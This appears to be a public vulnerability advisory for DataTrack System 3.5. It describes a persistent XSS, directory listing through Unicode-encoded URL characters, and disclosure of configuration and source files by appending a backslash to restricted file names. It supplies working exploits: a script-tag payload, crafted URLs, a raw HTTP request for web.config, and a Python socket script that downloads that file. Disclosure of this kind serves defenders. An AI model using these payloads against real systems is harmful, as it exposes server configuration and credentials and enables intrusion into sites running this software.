DataTrack System 3.5 Persistent XSS / Directory Disclosure / Configuration Disclosure / Source Disclosure

Persistent XSS
User submitted data is not HTML entity encoded before it is rendered.

Exploit
Login using the web client and submit a request with summary set to <script>alert(0)</script>. Navigate to My History to see the result.

---

Directory Disclosure
The contents of the root directory can be listed by using a specially crafted URL.

Exploit
%u0085
%u00A0

PoC
http://localhost/%u0085/
http://localhost/%u00A0/

---

Configuration / Source Disclosure
Forbidden file types (e.g. ascx, config) can be downloaded by appending a backslash to the filename.

Exploit
GET /web.config\ HTTP/1.1
Host: localhost


PoC

import socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /web.config\ HTTP/1.1\r\n'\
       'Host: ' + host + '\r\n\r\n')

while 1:
    response = s.recv(8192)
    if not response: break
    print response